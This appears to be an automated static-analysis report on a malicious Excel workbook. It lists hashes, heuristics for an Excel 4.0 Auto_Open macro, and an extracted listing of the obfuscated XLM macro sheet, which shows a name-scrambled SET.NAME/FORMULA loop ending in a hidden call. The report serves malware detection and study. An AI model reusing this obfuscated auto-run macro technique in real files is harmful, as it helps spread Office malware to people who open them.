Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 79a56d8650209286…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:45 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: fe58864bfa7b647ce6d81f14399d155f SHA-1: 2099f113ebfb6511ab94f60fa3c2d42ce93f2f53 SHA-256: 79a56d8650209286b82a99e01d57a3793c54b1c6fd982310945f6ab2da91bb1e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6472 bytes
SHA-256: 734a3041bda847019aaca7ba38f38aa2ebb378dd6cc351578bdba84ee3a3a4bd
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KXGgu
' 0018     20 LABEL : Cell Value, String Constant - aeNWp len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C161 
' 0018     26 LABEL : Cell Value, String Constant - cCwdTyulMke len=0 
' 0018     24 LABEL : Cell Value, String Constant - fjQvsjwNa len=0 
' 0018     24 LABEL : Cell Value, String Constant - fXDdEHGsN len=0 
' 0018     21 LABEL : Cell Value, String Constant - jCEFjS len=0 
' 0018     24 LABEL : Cell Value, String Constant - jdfOWQVOW len=0 
' 0018     25 LABEL : Cell Value, String Constant - JOcwFHxxQM len=0 
' 0018     25 LABEL : Cell Value, String Constant - jqACCuYBzl len=0 
' 0018     27 LABEL : Cell Value, String Constant - KivyfkGmdNKv len=0 
' 0018     27 LABEL : Cell Value, String Constant - KzBBnPsghkqb len=0 
' 0018     22 LABEL : Cell Value, String Constant - mFXDWCd len=0 
' 0018     22 LABEL : Cell Value, String Constant - pnLrUQg len=0 
' 0018     22 LABEL : Cell Value, String Constant - qSCGdEk len=0 
' 0018     24 LABEL : Cell Value, String Constant - qTAigjlKi len=0 
' 0018     24 LABEL : Cell Value, String Constant - quQTpVfDb len=0 
' 0018     26 LABEL : Cell Value, String Constant - TIZYWSWBmRF len=0 
' 0018     24 LABEL : Cell Value, String Constant - uoAzMuziZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - VexBSOa len=0 
' 0018     27 LABEL : Cell Value, String Constant - WNSUqtPgZcyW len=0 
' 0018     23 LABEL : Cell Value, String Constant - YMsMVBnP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KXGgu,C72,"SET.NAME("uoAzMuziZ",VALUE("0"))",""
'  KXGgu,C74,"SET.NAME("fXDdEHGsN",uoAzMuziZ)",""
'  KXGgu,C78,"SET.NAME("quQTpVfDb",uoAzMuziZ)",""
'  KXGgu,C81,"SET.NAME("qTAigjlKi",COUNTA(jCEFjS))",""
'  KXGgu,C84,"SET.NAME("JOcwFHxxQM",COUNTA(fjQvsjwNa))",""
'  KXGgu,C89,[],""
'  KXGgu,C94,"SET.NAME("WNSUqtPgZcyW","")",""
'  KXGgu,C97,"fXDdEHGsN",""
'  KXGgu,C99,"SET.NAME("cCwdTyulMke",HLOOKUP("*",jCEFjS,fXDdEHGsN,FALSE))",""
'  KXGgu,C102,"TIZYWSWBmRF",""
'  KXGgu,C104,"SET.NAME("KzBBnPsghkqb",uoAzMuziZ)",""
'  KXGgu,C106,[],""
'  KXGgu,C108,"KzBBnPsghkqb",""
'  KXGgu,C112,"aeNWp",""
'  KXGgu,C114,"VexBSOa",""
'  KXGgu,C116,"KivyfkGmdNKv",""
'  KXGgu,C120,"SET.NAME("mFXDWCd",VALUE(HLOOKUP("*",fjQvsjwNa,KivyfkGmdNKv,FALSE)))",""
'  KXGgu,C125,"pnLrUQg",""
'  KXGgu,C128,"WNSUqtPgZcyW",""
'  KXGgu,C131,"quQTpVfDb",""
'  KXGgu,C135,NEXT(),""
'  KXGgu,C138,"jqACCuYBzl",""
'  KXGgu,C142,"SET.NAME("f",INT(T(FORMULA(T(WNSUqtPgZcyW)&"",""&T(jqACCuYBzl)))))",""
'  KXGgu,C147,"jdfOWQVOW",""
'  KXGgu,C152,NEXT(),""
'  KXGgu,C156,RETURN(),""
'  KXGgu,C183,"SET.NAME("qSCGdEk",C72)",""
'  KXGgu,C185,"jCEFjS",""
'  KXGgu,C190,"SET.NAME("fjQvsjwNa",R41C12)",""
'  KXGgu,C193,"SET.NAME("jdfOWQVOW",202)",""
'  KXGgu,C198,"SET.NAME("YMsMVBnP",3)",""
'  KXGgu,C201,qSCGdEk(),""
'  KXGgu,C202,HALT(),""